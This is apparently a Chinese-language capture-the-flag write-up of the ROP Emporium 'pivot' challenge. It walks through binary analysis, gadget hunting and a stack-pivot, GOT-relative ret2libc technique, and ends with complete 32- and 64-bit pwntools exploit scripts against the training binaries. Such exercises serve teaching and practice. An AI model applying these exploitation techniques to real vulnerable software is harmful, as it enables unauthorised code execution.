Challenge7_pivot

pivot(栈迁移)

题目链接:https://ropemporium.com/challenge/pivot.html

x86

根据题目提示,我们需要进行栈迁移,因为留给我们的溢出长度太短了,不足以存放一个完整的ROP链。同时,题目还提示我们,程序中导入了链接库libpivot32.so 中的foodhold_function函数,并且ret2win函数也被包含在链接库中。根据前几个挑战的经验和题目的提示,我们可以猜到,需要用到ret2libc技术,调用链接库中的ret2win函数,拿到flag。

Note:有关栈迁移技术和ret2libc技术的介绍请查看PWN入门中的相关讲解,此处默认已经了解这两种技术。

首先,照例看下程序的保护情况:

1
2
3
4
5
6
7
8
$ checksec ./pivot32 
[*]'/home/giantbranch/Desktop/rop_emporium_all_challenges/level7_pivot/32/pivot32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
RUNPATH: '.'

然后我们查看下程序中的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
$ r2 -A ./pivot32 
···
[0x08048570]> afl
0x08048570 1 50 entry0
0x080485a3 1 4 fcn.080485a3
0x08048530 1 6 sym.imp.__libc_start_main
0x08048488 3 35 sym._init
0x080485c0 1 4 sym.__x86.get_pc_thunk.bx
0x08048560 1 6 sym..plt.got
0x080488a4 1 20 sym._fini
0x080485d0 4 41 sym.deregister_tm_clones
0x08048610 4 54 sym.register_tm_clones
0x08048650 3 31 sym.__do_global_dtors_aux
0x08048680 1 6 sym.frame_dummy
0x08048750 1 199 sym.pwnme
0x08048550 1 6 sym.imp.memset
0x08048500 1 6 sym.imp.puts
0x080484d0 1 6 sym.imp.printf
0x080484c0 1 6 sym.imp.read
0x08048817 1 21 sym.uselessFunction
0x08048520 1 6 sym.imp.foothold_function
0x08048510 1 6 sym.imp.exit
0x080488a0 1 2 sym.__libc_csu_fini
0x08048840 4 93 sym.__libc_csu_init
0x080485b0 1 2 sym._dl_relocate_static_pie
0x08048686 3 202 main
0x08048540 1 6 sym.imp.setvbuf
0x080484f0 1 6 sym.imp.malloc
0x080484e0 1 6 sym.imp.free
[0x08048570]> ii
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x080484c0 GLOBAL FUNC read
2 0x080484d0 GLOBAL FUNC printf
3 0x080484e0 GLOBAL FUNC free
4 0x080484f0 GLOBAL FUNC malloc
5 0x08048500 GLOBAL FUNC puts
6 0x00000560 WEAK NOTYPE __gmon_start__
7 0x08048510 GLOBAL FUNC exit
8 0x08048520 GLOBAL FUNC foothold_function
9 0x08048530 GLOBAL FUNC __libc_start_main
10 0x08048540 GLOBAL FUNC setvbuf
11 0x08048550 GLOBAL FUNC memset

我们可以看到程序除了自身的pwnme usefulFunction外,还导入了链接库中的foothold_function,我们很容易想到,可能要在程序中调用foothold_function函数,通过它来泄露出libc的地址。

我们依次来看下这几个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[0x08048570]> s sym.pwnme 
[0x08048750]> pdg

void sym.pwnme(uint arg_8h)

{
uint s;

sym.imp.memset(&s, 0, 0x20);
sym.imp.puts("Call ret2win() from libpivot");
sym.imp.printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", arg_8h);
sym.imp.puts("Send a ROP chain now and it will land there");
sym.imp.printf(0x8048994);
sym.imp.read(0, arg_8h, 0x100);
sym.imp.puts("Thank you!\n");
sym.imp.puts("Now please send your stack smash");
sym.imp.printf(0x8048994);
sym.imp.read(0, &s, 0x38);
sym.imp.puts("Thank you!");
return;
}

pwnme函数也告诉了我们调用链接库中的ret2win函数来拿flag,并且,为了降低难度,还给出了我们一块地址(下边称为新栈),让我们进行栈迁移操作。根据提示信息,第一次发送的内容会被存储在新栈中,第二次发送的内容用来触发栈溢出。

注:从第二个read函数的参数中我们可以看到,它接收 0x38=56byte 长的输入,我们计算得到的偏移量为 44 ,所以,真正我们能操作的溢出长度为 56 - 44 = 12byte。这个长度是肯定不够存放完整的ROP链的,从这里我们也可以看到需要用到栈迁移技术。

接下来我们看下usefulFunction函数:

1
2
3
4
5
6
7
8
9
10
11
12
[0x08048750]> s sym.uselessFunction 
[0x08048817]> pdg

void sym.uselessFunction
noreturn
(void)

{
sym.imp.foothold_function();
// WARNING: Subroutine does not return
sym.imp.exit(1);
}

可以看到usefulFunction函数只是调用了foothold_function函数,这也是一个提示,提示我们通过这个函数来泄露地址。

我们就加载分析链接库,看下foothold_function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ r2 -A ./libpivot32.so
[0x00000680]> s sym.foothold_function
[0x0000077d]> pdg

// WARNING: Variable defined which should be unmapped: var_4h

void sym.foothold_function(void)

{
int32_t iVar1;
uint var_4h;

iVar1 = sym.__x86.get_pc_thunk.ax();
sym.imp.puts(iVar1 + 0x2a7);
return;
}

这里用IDA看的比较明显,函数的作用就是输出一串字符串,也是一些提示信息。

1
2
3
4
int foothold_function()
{
return puts("foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot");
}

现在我们结合着函数内容,来整理一下思路:

  1. 程序需要两个输入,在第二个输入处存在栈溢出(溢出长度较短),并且会将第一个输入处输入的内容存储到新栈上。
  2. 我们可以利用第二个输入来进行栈迁移,在第一个输入处,输入完整的ROP链。

接下来,就是找相关的gadgets了,反汇编后可以看到程序中仍然存在usefulGadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ objdump -dj .text -M intel ./pivot32 
···
0804882c <usefulGadgets>:
804882c: 58 pop eax
804882d: c3 ret
804882e: 94 xchg esp,eax
804882f: c3 ret
8048830: 8b 00 mov eax,DWORD PTR [eax]
8048832: c3 ret
8048833: 01 d8 add eax,ebx
8048835: c3 ret
8048836: 66 90 xchg ax,ax
8048838: 66 90 xchg ax,ax
804883a: 66 90 xchg ax,ax
804883c: 66 90 xchg ax,ax
804883e: 66 90 xchg ax,ax

xchg指令在上一个题中我们了解到,它的作用是交换两个操作数的值,并且也存在pop eax;ret,我们就可以利用这两个gadget来修改esp寄存器做栈迁移。但我比较喜欢使用leave;ret,而且程序中刚好有,这里我就使用leave来做栈迁移。

1
2
3
4
5
6
7
8
$ ROPgadget --binary ./pivot32 --only "leave|ret"
Gadgets information
============================================================
0x080485f5 : leave ; ret
0x08048492 : ret
0x0804861e : ret 0xeac1

Unique gadgets found: 3

mov eax,DWORD PTR [eax];retadd eax,ebx;ret,这两个gadget乍一看并不是很清楚他们是干嘛的,结合这道题仔细分析一下ret2libc的过程就懂了。

通常我们是需要一个输出函数,比如write\puts等来打印出我们调用过的链接库中函数(具体到这里就是foothold_function)在got表中的真实地址。然后计算出libc库加载后的基地址。但是这样的话,如果我们就需要构造二次溢出,而且这里二次溢出的情况比较复杂(涉及到栈迁移,而且程序每次调用pwnme分配的新栈是不固定的(我测了几次,应该是不固定的)),如果我们使用二次溢出的话就会比较麻烦。

这里我们就换一种思路,其实,只要调用过链接库中的函数(foothold_function)之后,它的got表内存储的就已经是绑定后的真实地址了,我们之前将它打印出来只是为了方便我们通过程序来做计算。这里我们通过程序来计算反而会变的复杂,我们就通过gadget来操作。

思考一下,我们通过ELF.got['foothold_function']获取的只是got表表项的地址,在这个地址内存储的值才是真正我们想要的foothold_function的真实地址。这里,我们就明白了mov eax,DWORD PTR [eax];ret这个gadget的作用,我们将got表表项的地址通过pop eax传入eax,然后通过move获取表项内存储的foot函数的真实地址存入eax。此时我们也就明白了add eax,ebx这个gadget的作用,我们将foothold_functionret2win这两个函数之间的偏移量存入ebx,通过add我们就能得到ret2win函数的真实地址(存放在eax)。接着我们就能调用ret2win函数拿到flag。

按照这个思路,我们还需要操作ebx和调用ret2win的gadgets。

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ROPgadget --binary ./pivot32 --only "pop|ret"
Gadgets information
============================================================
0x0804882c : pop eax ; ret
0x0804889b : pop ebp ; ret
0x08048898 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080484a9 : pop ebx ; ret
0x0804889a : pop edi ; pop ebp ; ret
0x08048899 : pop esi ; pop edi ; pop ebp ; ret
0x08048492 : ret
0x0804861e : ret 0xeac1

Unique gadgets found: 8

0x080484a9 地址处的pop ebx ; ret

1
2
3
4
5
6
7
8
9
10
11
$ ROPgadget --binary ./pivot32 --only "call|ret"
Gadgets information
============================================================
0x0804857b : call 0x80485a9
0x0804848c : call 0x80485c6
0x080485f0 : call eax
0x0804863d : call edx
0x08048492 : ret
0x0804861e : ret 0xeac1

Unique gadgets found: 6

0x080485f0地址处的 call eax,或者jmp eax也是可以的。

(PS:这里我当时犯病糊涂了,想着为什么不能直接在返回地址处直接填ret2win函数的真实地址,而要再通过call或者jmp来调用,原因就是我们拿不到eax中存储的值,如果能拿到,也就是向往常那样二次溢出的情况,是可以用的,只能说犯病很严重。)

我们所需要的东西都找齐了,可以构造我们的ROP链了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ROP1:
padding #迁移后要 pop到ebp中的值
foothold.plt #调用foothold函数
pop_eax #将got表表项地址pop到eax
foothold.got
mov_eax_[eax] #获取foothold真实地址
pop_ebx #将offset pop到ebx
offset #offset = ret2win - foothold
add_eax_ebx #计算ret2win真实地址
call_eax #调用ret2win函数

ROP2:
padding #offset - 4 把fake ebp的空间留出来
fake ebp #我们从程序输出中获取的新栈地址
leave;ret #栈迁移

完整的exploit代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# -*- coding: utf-8 -*-

from pwn import *
context.arch = 'i386'
context.os = 'linux'

p = process('./pivot32')
e = ELF('./pivot32')

lib =ELF('./libpivot32.so')

foothold_function_plt = e.plt['foothold_function']
foothold_function_got = e.got['foothold_function']

foothold_function_offset = lib.symbols['foothold_function']
ret2win_offset = lib.symbols['ret2win']
# 获取foodhold与ret2win函数之间的偏移量
# foodhold的真实地址+offset = ret2win函数的真实地址
offset = ret2win_offset-foothold_function_offset

# Gadgets:
#这两条gadgets获取到foothold的真实地址,并将其保存到寄存器中,用于后续操作
pop_eax_addr = 0x0804882c # pop eax; ret
mov_eax_eaxs_addr = 0x08048830 # mov eax,DWORD PTR [eax];ret

# xchg_esp_eax_addr = 0x0804882e # xchg esp,eax;ret
# pop_ebp_addr = 0x0804889b # pop ebp ; ret
#调用eax中保存的函数地址处的函数
call_eax = 0x080485f0 # call eax
# 除了call之外也可以使用jmp命令


# 将offset保存到ebx中,计算ret2win的真实地址
pop_ebx_addr = 0x080484a9 # pop ebx ; ret
add_eax_ebx_addr = 0x08048833 # add eax,ebx;ret

# 完成栈迁移
leave_addr = 0x080485f5 # leave ; ret

p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
fake_ebp = int(p.recv(10), 16)

#迁移后的栈中存放的rop chain
payload1 = p32(1) #虚假的ebp
payload1+= p32(foothold_function_plt)
payload1+= p32(pop_eax_addr)
payload1+= p32(foothold_function_got)
payload1+= p32(mov_eax_eaxs_addr)
payload1+= p32(pop_ebx_addr)
payload1+= p32(offset)
payload1+= p32(add_eax_ebx_addr)
payload1+= p32(call_eax)


offset = 44 - 4

#payload2 利用leave指令跟fake_ebp来实现栈迁移
payload2 = offset*b'A'
payload2+= p32(fake_ebp)
payload2+= p32(leave_addr)

p.sendline(payload1)
p.sendline(payload2)
p.interactive()

x64

64位情况与32位情况相同,需要注意一点:

1
2
3
4
ROP2:
padding # 40 - 8
fake rbp
leave

这里的 padding 长度为偏移量 - 8,64位环境下,rbp存储占8字节

完整的exploit代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# -*- coding: utf-8 -*-

from pwn import *
context.arch = 'amd64'
context.os = 'linux'

p = process('./pivot')
e = ELF('./pivot')
lib = ELF('./libpivot.so')

foothold_function_plt = e.plt['foothold_function']
foothold_function_got = e.got['foothold_function']

foothold_function_offset = lib.symbols['foothold_function']
ret2win_offset = lib.symbols['ret2win']
offset = ret2win_offset - foothold_function_offset

#Gadgets
pop_rax_addr = 0x4009bb # pop rax;ret
xchg_rsp_rax_addr = 0x4009bd # xchg rsp,rax;ret
mov_rax_raxs_addr = 0x4009c0 # mov rax,QWORD PTR [rax];ret
add_rax_rbp_addr = 0x4009c4 # add rax,rbp;ret
pop_rbp_addr = 0x4007c8 # pop rbp ; ret
leave_addr = 0x4008ef # leave ; ret
call_rax_addr = 0x00000000004006b0 # call rax
jmp_rax_addr = 0x00000000004007c1 # jmp rax

p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
fake_ebp = int(p.recv(14), 16)

payload1 = p64(1)
payload1+= p64(foothold_function_plt)
payload1+= p64(pop_rax_addr)
payload1+= p64(foothold_function_got)
payload1+= p64(mov_rax_raxs_addr)
payload1+= p64(pop_rbp_addr)
payload1+= p64(offset)
payload1+= p64(add_rax_rbp_addr)
payload1+= p64(call_rax_addr)

offset = 40 - 8
#64bit,是8字节

payload2 = offset*b'A'
payload2+= p64(fake_ebp)
payload2+= p64(leave_addr)

p.sendline(payload1)
p.sendline(payload2)
p.interactive()